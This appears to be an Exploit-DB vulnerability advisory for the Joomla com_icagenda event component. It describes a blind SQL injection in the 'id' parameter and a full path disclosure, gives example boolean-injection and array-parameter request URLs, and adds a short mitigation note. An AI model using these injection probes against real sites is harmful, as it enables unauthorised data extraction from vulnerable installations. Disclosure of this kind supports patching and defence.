Joomla Component (com_icagenda) Multiple Vulnerabilities

vendor:

Icagenda

by:

Dark-Puzzle (Souhail Hammou)

CVSS

CRITICAL

Blind SQL Injection & Full Path Disclosure

89, 200

CWE

Product Name: Icagenda

Affected Version From: All Versions

Affected Version To: All Versions

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Xp Sp2 Fr

N/A

Joomla Component (com_icagenda) Multiple Vulnerabilities

The 'id' parameter in com_icagenda is prone to a Blind SQL Vulnerability. An attacker can retrieve & steal data by sending series of True and False Queries through SQL statements. The Full path can be retrieved using Array method [] in ItemID & id Parameters.

Mitigation:

Ensure that user input is validated and filtered properly. Use prepared statements to prevent SQL injection.

Source

Exploit-DB raw data:

# Souhail Hammou - Independant Security Researcher & Penetration Tester .
# Facebook : www.facebook.com/dark.puzzle.sec
# E-mail   : dark-puzzle@live.fr
# Greetings to all moroccan researchers and white hats .
------------------------------------------------------------------------------
# Exploit Title: Joomla Component (com_icagenda) Multiple Vulnerabilities . 
# Author: Dark-Puzzle (Souhail Hammou)
# Risk : Critical
# Version: All Versions
# Google Dork : N/A
# Category: Webapps
# Tested on: Windows Xp Sp2 Fr .
# OSVDB ID : 85147 and 85148 .
# OSVDB Links : http://osvdb.org/show/osvdb/85148 & http://osvdb.org/show/osvdb/85147
***************************************************************************************
Info :

Icagenda is a New Component for Event Management with a calendar module.
----------------------------------------------------
I - Blind SQL Injection Vulnerability 
----------------------------------------------------

Vulnerability :

"id" parameter in com_icagenda is prone to a Blind SQL Vulnerability . An attacker can retrieve & steal data by sending series of 		True and False Queries through SQL statements .
Here the invisible content shows us that the target suffers from Blind SQL Injection Vulnerability .

	Example : 

	server/index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 (True)
	server/index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 (False)

	
	ADMIN PANEL : http://target/administrator
	
-----------------------------------------------------
II - Full Path Disclosure Vulnerability 
-----------------------------------------------------
The Full path can be retrieved using Array method [] in ItemID & id Parameters .
	
	Example :
	
	http://server/index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1